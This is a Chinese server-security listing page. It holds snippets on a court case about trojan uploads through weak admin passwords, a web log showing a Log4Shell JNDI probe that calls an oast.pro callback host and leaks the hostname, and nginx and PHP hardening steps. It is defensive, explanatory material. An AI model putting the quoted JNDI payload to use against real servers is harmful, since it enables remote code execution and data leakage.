服务器安全

采取通过网站弱口令等方式进入网站后台页面，上传木马病毒对网站进行控制获取百度排名的seo优化被判刑

张某某、尹某某非法获取计算机信息系统数据、非法控制计算机信息系统二审刑事裁定书  案由：非法获取计算机信息系统数据、非法控制计算机信息系统山东省青岛市中级人民法院刑 事 裁 定 书  （2019）鲁02刑终10号  原公诉机关山东省青岛市黄岛区人民检察院。  上诉人（原审被告人）张某某，男，汉族，1986年11月5日出

与Interactsh检测漏洞工具相关的oast.pro日志特征及安全防范

一、经分析web服务器，出现以下日志：114.236.1.125 - [-] [2023-06-14T07:07:08+08:00] "[-] [www.a.com] GET /?x=${jndi:ldap://${:-957}${:-583}.${hostName}.uri.ci42e559mpo23m5krkj01uiiwd7tn7rby.oast.pro/a} HTTP/1.1" 200 [Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrom

如何禁止特定目录下运行php木马文件？

分析您网站哪些目录不需要运行php脚本文件，然后将其予以禁止，示范代码如下：#禁止特定目录下运行php脚本文件location ~* ^\/(uploadfile|style|statics)\/.*\.(php)$ {deny all;}

windows+nginx+php环境下，如何隔离网站防范黑客木马跨站攻击？

一、在php.ini中查找到;open_basedir =确保其前面有分号未启用。二、然后查找到user_ini.filename = ".user.ini"user_ini.cache_ttl = 300并将其前面的分号去掉让其生效。三、你要单独配置的网站根目录 创建 .user.ini文件，写入如下内容：open_basedir=/tmp/:/proc/:/you_web_path四、重启服务器核实是否生效。